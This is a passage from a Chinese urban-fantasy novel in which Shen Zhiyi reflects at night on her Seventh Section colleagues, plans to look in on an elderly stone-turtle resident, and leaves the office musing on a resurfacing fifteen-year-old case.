她闭上了眼睛。
沈知意也闭上了。
不是睡觉。是在想。
白夜不在的时候——谁来保护他们?
格里高尔的真名。殷红的血脉印记。阿九的——她不知道阿九有什么需要被保护的。但白夜把阿九捡回来"劳改"——肯定不只是因为阿九闯了祸。
白夜像一根柱子。撑着第七科的天花板。柱子在——大家都安全。柱子不在——
沈知意不想了。
她想了一个更实际的问题——明天做什么?
白夜说不用去翠园小区。盯"城市守望者"。等。
等。
她不太擅长等。但白夜说——会等的人,才不会输。
那就等。
明天——格里高尔继续监控。殷红誊第二份法律意见。林小狸——
林小狸明天可以去做一件事。一件白夜没安排但应该做的事——去看看陈大海。那个石龟族的老爷子。120岁了。在翠园住了四年。拒绝签请愿。观察到穿西装者来访。他是目前翠园小区里最冷静的非人类住户——但"冷静"不代表"没事"。
120岁的石龟族——他见过多少风浪?他为什么拒绝签请愿?他知不知道一些别人不知道的事?
沈知意把这些记在笔记本上。手写。不经过电脑。
明天的事——明天做。
今晚——
今晚殷红在。格里高尔在。第七科的灯还亮着。
白夜不在。但他的茶杯在。搪瓷杯。"为人民服务"。阿九的夜光贴纸在暗处发出淡淡的绿光。
像一盏小小的灯塔。
沈知意拿起包,关了工位的灯。
"我先走了。明天见。"
"明天见。"格里高尔说。
殷红没出声。但她的红色眼睛在暗处亮了一下——那是她的"再见"。
沈知意走出办公室。走廊里的声控灯一盏一盏亮起来。她的脚步声在空旷的走廊里回荡。
回声。
每一步都有回声。
就像——十五年前的调查被叫停。然后十五年后的今天——同样的线索、同样的人、同样的手法——又浮上来了。
回声。
不是结束。是——还在继续。
沈知意推开管理局大楼的门。七月的夜风温热潮湿。远处有蝉鸣。
她回头看了一眼七楼的窗户。
灯还亮着。
格里高尔还在。殷红还在。
两个"不正常"的人——在一个"不正常"的科室里——守着一个"不正常"的夜晚。
但他们——是沈知意见过的——最正常的人。
因为他们——在害怕的时候没有跑。在愤怒的时候没有失控。在不知道答案的时候——还在找。
这就够了。